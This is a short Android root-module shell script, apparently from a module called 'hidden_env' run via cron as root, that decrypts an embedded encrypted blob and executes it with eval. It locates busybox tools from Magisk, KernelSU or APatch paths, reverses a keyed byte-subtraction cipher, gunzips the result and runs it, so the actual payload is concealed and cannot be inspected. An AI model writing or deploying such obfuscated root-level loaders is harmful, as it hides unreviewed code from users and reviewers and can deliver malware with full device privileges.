#!/system/bin/sh
# encrypted (mrrr) -- cron/root
B='wwe326HcsZBG45l+QQMtRABCeTuXEYMafpM/HVkOPrk4dqqpPeRn18e7n7Ued1PMNIiQQrMjDym/jomlizs/374O8oW7+fB7jHQI+wD1bQ=='
K='a47cafdba1dcb19044d994bd00f56d24f83eb9c038603a4b99442bd424ddd439'
MODPATH="${MODPATH:-/data/adb/modules/hidden_env}"
LOG="$MODPATH/.stub.log"
find_tool() {
  _n="$1"
  command -v "$_n" 2>/dev/null && return 0
  for _bb in /data/adb/ksu/bin/busybox /data/adb/ap/bin/busybox /data/adb/magisk/busybox /system/bin/busybox busybox; do
    [ -x "$_bb" ] || command -v "$_bb" >/dev/null 2>&1 || continue
    "$_bb" "$_n" --help >/dev/null 2>&1 && { echo "$_bb $_n"; return 0; }
  done
  return 1
}
B64=$(find_tool base64)
XXD=$(find_tool xxd)
GUNZIP=$(find_tool gunzip)
if [ -z "$B64" ] || [ -z "$XXD" ] || [ -z "$GUNZIP" ]; then
  echo "[$(date '+%m-%d %H:%M:%S' 2>/dev/null)] stub missing tool rel=cron/root base64=${B64:-no} xxd=${XXD:-no} gunzip=${GUNZIP:-no}" >> "$LOG" 2>/dev/null
  exit 127
fi
_payload=$(echo "$B" | $B64 -d 2>>"$LOG" | $XXD -p 2>>"$LOG" | tr -d '\n' | awk -v K="$K" '
BEGIN{L=length(K)/2;for(i=0;i<256;i++)H[sprintf("%02x",i)]=i;for(i=0;i<L;i++)k[i]=H[substr(K,i*2+1,2)]}
{n=length($0)/2;out="";for(i=0;i<n;i++){c=H[substr($0,i*2+1,2)];p=(c-k[i%L]+256)%256;out=out sprintf("%02x",p)}print out}
' | $XXD -r -p 2>>"$LOG" | $GUNZIP 2>>"$LOG")
_rc=$?
if [ "$_rc" != 0 ] || [ -z "$_payload" ]; then
  echo "[$(date '+%m-%d %H:%M:%S' 2>/dev/null)] stub decode failed rel=cron/root rc=$_rc" >> "$LOG" 2>/dev/null
  exit 126
fi
eval "$_payload"
